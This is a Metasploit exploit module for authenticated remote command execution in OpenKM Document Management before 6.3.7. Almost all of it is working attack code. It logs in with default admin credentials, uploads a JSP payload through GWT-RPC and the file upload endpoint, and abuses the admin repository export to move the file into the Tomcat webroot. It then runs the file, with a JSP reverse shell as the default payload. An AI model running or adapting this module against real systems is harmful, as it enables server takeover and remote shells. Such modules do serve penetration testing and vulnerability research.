OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
        'Name'                  => 'OpenKM Document Management < 6.3.7 - (Authenticated) Remote Command Execution',
        'Description'   => %q{
            Versions of the OpenKM Document Management  < 6.3.7 allows upload a malicious 
            JSP file into the "/okm:root" directories and move that file to the home directory of the site.
            This vulnerability is carried out by interfering to the "Filesystem path" control in the admin's "Export" field.
            As a result, attackers can gain remote code execution through the application server with root privilege.
           
            This module allows the execution of remote commands on the server by creating a malicious JSP file.
            Module has been tested successfully with OpenKM DM between 6.3.2 and 6.3.7 on Debian 4.9.18-1kali1 system.
            There is also the possibility of working in lower versions.
        },
        'Author'                => [ 'AkkuS <Özkan Mustafa Akkuş>' ], # Vulnerability Discovery, PoC & Msf Module
        'References'            =>
        [
            ['URL', 'https://pentest.com.tr/exploits/OpenKM-DM-6-3-7-Remote-Command-Execution-Metasploit.html']
        ],
        'DisclosureDate' => "March 09 2019",
        'License'               => MSF_LICENSE,
        'Platform'              => %w{ linux win },
        'Targets'     =>
        [
            [ 'Automatic',
               {
                 'Arch' => ARCH_JAVA,
                 'Platform' => 'linux'
               }
            ],
            [ 'Java Windows',
               {
                 'Arch' => ARCH_JAVA,
                 'Platform' => 'win'
               }
            ],
            [ 'Java Linux',
               {
                 'Arch' => ARCH_JAVA,
                 'Platform' => 'linux'
               }
            ]
        ],
        'DefaultTarget'       => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }))

        register_options(
        [
            Opt::RPORT(8080),
            OptBool.new('SSL', [true, 'Use SSL', false]),
            OptString.new('TARGETURI', [true, 'The base path to OpenKM', '/']), 
            OptString.new('USERNAME', [true, 'User to login with', 'okmAdmin']), 
            OptString.new('PASSWORD', [true, 'Password to login with', 'admin']),
        ], self.class)
    end
##
# Request to Login
##
    def login
 
      res = send_request_cgi({ 
        'method' => 'POST', 
        'uri'    => normalize_uri(target_uri, "/OpenKM/j_spring_security_check"), 
        'vars_post' => { 
            "j_username" => datastore['USERNAME'],
            "j_password" => datastore['PASSWORD'],
            "submit" => "Login"           
        } 
      })
 
      if res and res.code == 302 and res.headers['Location'] =~ /error/
         fail_with(Failure::NoAccess, "Failed to login!")
      else
         print_good("Login successful.")        
      end
      return res
    end
##
# Returns the SSL, Host and Port as a string
##
    def peer
      "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
    end
##
# Vulnerablity Check
##
    def check

      res = send_request_cgi({
	'method'    => 'GET',
	'uri'       => normalize_uri(target_uri, "/OpenKM/admin/home.jsp"),
        'headers' => 
        { 
          'Cookie'   => login.get_cookies, 
        }
      })
 
      version = res.body.split('Version: ')[1].split('</td>')[0]
      print_status("Version: #{version}")      

      if res and res.code == 200 and res.body =~ /Version: 6./ or res.body =~ /Version: 5./
         return Exploit::CheckCode::Vulnerable
      else
         return Exploit::CheckCode::Safe
      end
      return res
    end

    def exploit

      get_cookie = login.get_cookies 
      cookie = get_cookie
      print_status("Cookie: #{cookie}")
##
# Read to X-GWT-Permutation string
##
      print_status("Attempting to read X-GWT-Permutation...")
   
      res = send_request_cgi({
	'method'    => 'GET',
	'uri'       => normalize_uri(target_uri, "/OpenKM/frontend/frontend.nocache.js"),
        'headers' => 
        { 
          'Cookie'   => cookie, 
        }
      })

      cache = res.body.split('Wb=')[1].split("'")[1]
      print_good("X-GWT-Permutation: #{cache}")
##
# Create directory for payload
##
      print_status("Attempting to create directory for payload...")
      dfile = "#{rand_text_alphanumeric(rand(5) + 5)}akkus"
      string = Rex::Text.rand_text_alphanumeric(10)

      data = "7|0|7|#{peer}/OpenKM/frontend/|"
      data << "#{cache}"
      data << "|com.openkm.frontend.client.service.OKMFolderService|create|java.lang.String/"
      data << "#{string}"
      data << "|#{dfile}|/okm:root|1|2|3|4|2|5|5|6|7|"

      res = send_request_cgi({ 
        'method' => 'POST', 
        'data' => data,
        'uri'    => normalize_uri(target_uri, "/OpenKM/frontend/Folder"), 
        'headers' => 
        { 
          'Content-Type'   => 'text/x-gwt-rpc; charset=utf-8', 
          'X-GWT-Permutation'   => cache,
          'X-GWT-Module-Base'   => '#{peer}/OpenKM/frontend/',
          'Referer' => '#{peer}/OpenKM/frontend/index.jsp',
          'Cookie'   => cookie, 
        } 
      })

      if res and res.code == 200 and res.body =~ /akkus/
        print_good("#{dfile} directory successfully created!")
      else
        print_error("Directory could not be created!")
	return res
      end

##
# Upload JSP payload 
##     
      pfile = "#{rand_text_alphanumeric(rand(5) + 5)}akkus.jsp"
      boundary = Rex::Text.rand_text_alphanumeric(29)

      data = "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"path\"\r\n\r\n/okm:root/#{dfile}\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n0\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"rename\"\r\n\r\n\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\n\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"mails\"\r\n\r\n\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"users\"\r\n\r\n\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"roles\"\r\n\r\n\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"message\"\r\n\r\n\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"increaseVersion\"\r\n\r\n0\r\n"
      data << "-----------------------------{boundary}"
      data << "\r\nContent-Disposition: form-data; name=\"uploadFormElement\"; filename=\"#{pfile}\""
      data << "\r\nContent-Type: application/octet-stream\r\n\r\n"
      data << payload.encoded
      data << "\n\r\n-----------------------------{boundary}--\r\n"

      print_status("Attempting to upload JSP Payload...")

      res = send_request_cgi({ 
        'method' => 'POST', 
        'data' => data,
        'uri'    => normalize_uri(target_uri, "/OpenKM/frontend/FileUpload"), 
        'headers' => 
        { 
          'Content-Type'   => 'multipart/form-data; boundary=---------------------------{boundary}', 
          'Referer' => '#{peer}/OpenKM/frontend/index.jsp',
          'Cookie'   => cookie, 
        } 
      })   

      if res and res.code == 200 and res.body =~ /akkus.jsp/
        print_good("#{pfile} payload uploaded successfully!")
      else
        print_error("JSP Payload upload failed!")
      end
##
# Read Tomcat web directory path
##
      print_status("Attempting to read Tomcat web directory path...")
   
      res = send_request_cgi({
	'method'    => 'GET',
	'uri'       => normalize_uri(target_uri, "/OpenKM/admin/system_properties.jsp"),
        'headers' => 
        { 
          'Cookie'   => cookie, 
        }
      })

      dir = res.body.split('catalina.base')[1].split('<td>')[1].split(' ')[0]
      path = "#{dir}/webapps/OpenKM"
      print_good("Web directory path => #{path}")
##
# Move the payload file to the site's home directory
##
      print_status("Attempting to move payload file to the site's home directory...")
   
      res = send_request_cgi({
	'method'    => 'GET',
	'uri'       => normalize_uri(target_uri, "/OpenKM/admin/repository_export.jsp?repoPath=%2Fokm%3Aroot%2F#{dfile}&fsPath=" + URI.encode(path, /\W/)),
        'headers' => 
        { 
          'Cookie'   => cookie, 
        }
      })

      if res and res.code == 200 and res.body =~ /akkus/
        print_good("JSP Payload was moved successfully!")
        print_status("=> #{path}/#{pfile} ")
      else
        print_error("JSP Payload upload failed!")
      end
##
#  Execute the Payload
##
      print_status("Attempting to execute the #{pfile} payload...")
   
      res = send_request_cgi({
	'method'    => 'GET',
	'uri'       => normalize_uri(target_uri, "/OpenKM/#{pfile}"),
        'headers' => 
        { 
          'Cookie'   => cookie, 
        }
      })

      if res and res.code == 200
        print_good("Payload executed successfully!")
      else
        fail_with(Failure::PayloadFailed, "Failed to execute the payload!")
      end
    end
end
##
#  End
##